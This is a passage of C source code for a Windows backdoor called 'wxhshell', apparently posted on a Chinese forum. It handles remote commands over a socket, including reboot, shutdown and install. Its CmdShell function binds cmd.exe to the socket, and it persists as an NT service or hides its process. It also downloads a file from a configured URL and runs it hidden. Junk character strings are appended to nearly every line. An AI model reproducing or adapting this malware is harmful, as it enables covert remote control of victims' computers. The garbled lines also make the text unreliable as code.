  // 帮助 8BS Nm  
  case '?': { O6-';H:I]L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DBvozTsF~  
    break; T|YMU?4  
  } .bh 7  
  // 安装 B=_5gZ4Y  
  case 'i': { i}<fg*6@E  
    if(Install()) \!>qtFT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %_5?/H@%3z  
    else 4|eI_u{_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 65+2+p  
    break; !14v Ovj4{  
    } pF~aR]Q  
  // 卸载 $Zrc-tkV  
  case 'r': { 11A;z[Zk  
    if(Uninstall()) [Q8vS;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +H? XqSC  
    else =t}m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *'n=LB8R  
    break; KAr5>^<zw  
    } O+Db#FW  
  // 显示 wxhshell 所在路径 vBY?3p,0p  
  case 'p': { 6k|f]BCL  
    char svExeFile[MAX_PATH]; \/m-G:|  
    strcpy(svExeFile,"\n\r"); R&/"?&pfa  
      strcat(svExeFile,ExeFile); ,;h}<("q  
        send(wsh,svExeFile,strlen(svExeFile),0); 2rf#Bq?7  
    break; j2hp*C'^  
    } Djp;\.$(  
  // 重启 ~!Rf5QA85  
  case 'b': { yyVE%e5nl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }qhND-9#@  
    if(Boot(REBOOT)) _#<7s`i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2.a{,d  
    else { !,DA`Yt  
    closesocket(wsh); HIlTt  
    ExitThread(0); w (odgD  
    } ~\O,#j`_  
    break; ]#FQde4]5  
    } > mP([]  
  // 关机 t0ZaIE   
  case 'd': { gp^xl>E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G|UeR=/  
    if(Boot(SHUTDOWN)) pf&SIG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X'7MW? q@  
    else { ;Z&w"oSJ  
    closesocket(wsh); =A/$[POr  
    ExitThread(0); V:8{MO(C\  
    } 2 3A)^j  
    break; rWuqlx#  
    } RWGAxq`9f  
  // 获取shell RXhT{Ho(>  
  case 's': { `{nzw$  
    CmdShell(wsh); _&$nJu  
    closesocket(wsh); s#(<zBZ9p#  
    ExitThread(0); tHH @[E+h  
    break; tj" EUqKQ  
  } p xQh;w  
  // 退出 -$f$z(h  
  case 'x': { h]^= y.Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?Aky!43  
    CloseIt(wsh); ^ Mq8jw(2  
    break; T'%R kag>  
    } ,@@FAL  
  // 离开 N8`q.;qewz  
  case 'q': { U{0! <*W>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b5UIX Kim  
    closesocket(wsh); 5G WC  
    WSACleanup(); #D8u#8Dz  
    exit(1); x /?w1  
    break; {pk&dB _Bu  
        } (fC U+  
  } T=T1?@2C  
  } PWN$x`h g[  
BGL-lJrG  
  // 提示信息 9*xv ,Yz8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KA]5tVQA  
} pm'i4!mY<P  
  } G/_9!lE  
XbW 1`PH  
  return; .^!uazPE0  
} )gKX +'  
b:6e2|xf?  
// shell模块句柄 E>x,$w<?  
int CmdShell(SOCKET sock) @DCw(.k*  
{ =_9grF-  
STARTUPINFO si; v\Xyz )  
ZeroMemory(&si,sizeof(si)); G:!'hadw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E9PD1ADR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :pg]0X;  
PROCESS_INFORMATION ProcessInfo; } !RBH(m%  
char cmdline[]="cmd"; ](sT,'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oD7^9=#  
  return 0; ?89 _2W  
} Iq: G9M  
5$"I Uq*  
// 自身启动模式 pwr]lV$w  
int StartFromService(void) +p_>fO  
{ 'jd fUB  
typedef struct oh^QW`#(  
{ f!+G1z}iA  
  DWORD ExitStatus; Tyt1a>! qA  
  DWORD PebBaseAddress; Q%^!j_#  
  DWORD AffinityMask; Id 40yER  
  DWORD BasePriority; ? EXYLG  
  ULONG UniqueProcessId; ,L9ioYbp  
  ULONG InheritedFromUniqueProcessId; }|(v0]  
}   PROCESS_BASIC_INFORMATION; 2f7]= snCG  
"*0h=x$  
PROCNTQSIP NtQueryInformationProcess; '7/c7m/$X<  
WeRX~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; guWX$C-+1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m<| *  
Q[.HoqWK  
  HANDLE             hProcess; EZg$mp1  
  PROCESS_BASIC_INFORMATION pbi; 1JSKK.LuJV  
; `-@L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a<mM )[U  
  if(NULL == hInst ) return 0; ,)7y? *D}  
B0eKj=y;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :x/L.Bz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |sklY0?l(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^h\Y.  
VLs%;|`5D  
  if (!NtQueryInformationProcess) return 0; <c$K3  
xRPU GGv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'r_NA!R  
  if(!hProcess) return 0; JN:EcVuy  
T9=55tpG9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v'H\KR-;  
,CA3Q.y>|  
  CloseHandle(hProcess); _vgFcE~E@  
j9]H~:g$d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Gg:y?  
if(hProcess==NULL) return 0; E{B=%ZNnm  
ohj(1jt  
HMODULE hMod; ZVX!=3VT  
char procName[255]; -cW 'g  
unsigned long cbNeeded; 'k(aZ"  
vgvJ6$#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t;e+WZkV  
wc.T;(  
  CloseHandle(hProcess); iF1E 5{dH  
d0MF\yxh  
if(strstr(procName,"services")) return 1; // 以服务启动 NT}r6V(Aju  
)`B n"=  
  return 0; // 注册表启动 3iC$ "9!p  
} gV-x1s+  
<qpDAz4k  
// 主模块 qS{E+)P  
int StartWxhshell(LPSTR lpCmdLine) }HC6m{vH(  
{ lyYi2& %  
  SOCKET wsl; tjIT4  
BOOL val=TRUE; ;Q&|-`NK  
  int port=0; JTn\NSa  
  struct sockaddr_in door; NiCB.a  
++)3*+N+  
  if(wscfg.ws_autoins) Install(); c Oi:bC@  
d}`Z| ex  
port=atoi(lpCmdLine); =A< Fcl\Rz  
xOAA1#   
if(port<=0) port=wscfg.ws_port; @ZUrr_|  
E,nxv+AQ  
  WSADATA data; $xl>YYEBMH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d|RqS`h ]  
2GRdfX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?=\&O=_ln  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;&N=t64"  
  door.sin_family = AF_INET; y$7vJl.uS/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -4 !9cE  
  door.sin_port = htons(port); Bl"BmUn  
^UEExj f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `f~\d.*U  
closesocket(wsl); f1_b``M  
return 1; ZWH9E.uj  
} hhU: nw  
6yN8 (&`  
  if(listen(wsl,2) == INVALID_SOCKET) { qij<XNZU"&  
closesocket(wsl); yD-L:)@"  
return 1; 4%s6 d,6"  
} P wY~L3,  
  Wxhshell(wsl); f0lpwwe  
  WSACleanup(); ..5rW0lr  
% >\v6ea  
return 0; jrKRXS  
=>kE`"{!  
} 5@kNvi  
nH=8I~jp  
// 以NT服务方式启动 'Cv>V"X: `  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jrl'?`O  
{ BsJ d*-:X  
DWORD   status = 0; Yi5^# G  
  DWORD   specificError = 0xfffffff; +=:*[JEK,U  
b-+~D9U <  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1#D&cx6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,_$}>MY;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [K=M; $iQ  
  serviceStatus.dwWin32ExitCode     = 0; R'udC}  
  serviceStatus.dwServiceSpecificExitCode = 0; PXRkK63  
  serviceStatus.dwCheckPoint       = 0; =G9 9U/  
  serviceStatus.dwWaitHint       = 0; WE*L=_zDS  
y$Rr,]L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %tOGs80_{  
  if (hServiceStatusHandle==0) return; =,])xzG%  
8nj^x?bn  
status = GetLastError(); #aeKK7[  
  if (status!=NO_ERROR) aJ{-m@/ 5  
{ WEnI[JGe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5uidi  
    serviceStatus.dwCheckPoint       = 0; /Z?$!u4I  
    serviceStatus.dwWaitHint       = 0; v/m} {&K  
    serviceStatus.dwWin32ExitCode     = status; NR6wNz&81  
    serviceStatus.dwServiceSpecificExitCode = specificError; w!j'k|b>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d5z=fH9  
    return; Mxmo}tt  
  } %2;Nj; J$  
X>la!}sV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bih%hqny  
  serviceStatus.dwCheckPoint       = 0; cS2PrsUx  
  serviceStatus.dwWaitHint       = 0; MP3Vo|}3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yd|roG/  
} cs]h+yE  
AL;z's(F?  
// 处理NT服务事件,比如:启动、停止 sP'U9l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &}y?Lt  
{ \}n\cUy-  
switch(fdwControl) B@ xjwBUk  
{ ;}dvc7  
case SERVICE_CONTROL_STOP: zzH^xxg  
  serviceStatus.dwWin32ExitCode = 0; @PZ{(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4F`&W*x  
  serviceStatus.dwCheckPoint   = 0; cp)BPg  
  serviceStatus.dwWaitHint     = 0; )yt_i'D}  
  { M/mm2?4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =`KA@~XH4  
  } i< b-$9  
  return; hjgB[ &U>  
case SERVICE_CONTROL_PAUSE: _yRD*2 !;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x>bGxDtu*  
  break; QMhvyzkS  
case SERVICE_CONTROL_CONTINUE: }1#prQ0F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A`:a T{j  
  break; }ip3dm  
case SERVICE_CONTROL_INTERROGATE: W;T 5[  
  break; i,B<k 0W9  
}; sx n{uRF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *6bO2LO"  
} 3OB=D{$V  
'N3)>!Y:8  
// 标准应用程序主函数 VTwDa*]AhB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o* ~aB_  
{ {ldt/dl~  
bs&>QsI?j  
// 获取操作系统版本 3c=>;g  
OsIsNt=GetOsVer(); n'@*RvI:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .Im=-#EN  
;Rljx3!N  
  // 从命令行安装 :2.<JUDM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 82M` sk3.  
k2O3{xIjc  
  // 下载执行文件 =<%[P9y  
if(wscfg.ws_downexe) { WDi2m"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $Jo4n>/  
  WinExec(wscfg.ws_filenam,SW_HIDE); [jv+Of IZ  
} hXh nJ  
iax0V  
if(!OsIsNt) { E)`:sSd9  
// 如果时win9x,隐藏进程并且设置为注册表启动 YsMM$rjP +  
HideProc(); +#Wwah$  
StartWxhshell(lpCmdLine); E&N~ h|CL  
} Za,myuI+  
else );zLgNx,  
  if(StartFromService()) 2){O&8A  
  // 以服务方式启动 -wT!g;v;%  
  StartServiceCtrlDispatcher(DispatchTable); a4[t3U  
else %Gl1Qi+Po_  
  // 普通方式启动 jV[;e15+  
  StartWxhshell(lpCmdLine); zI0d  
+e, c'.  
return 0; ,{;*b v  
}
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只看该作者 1 发表于: 2006-10-10
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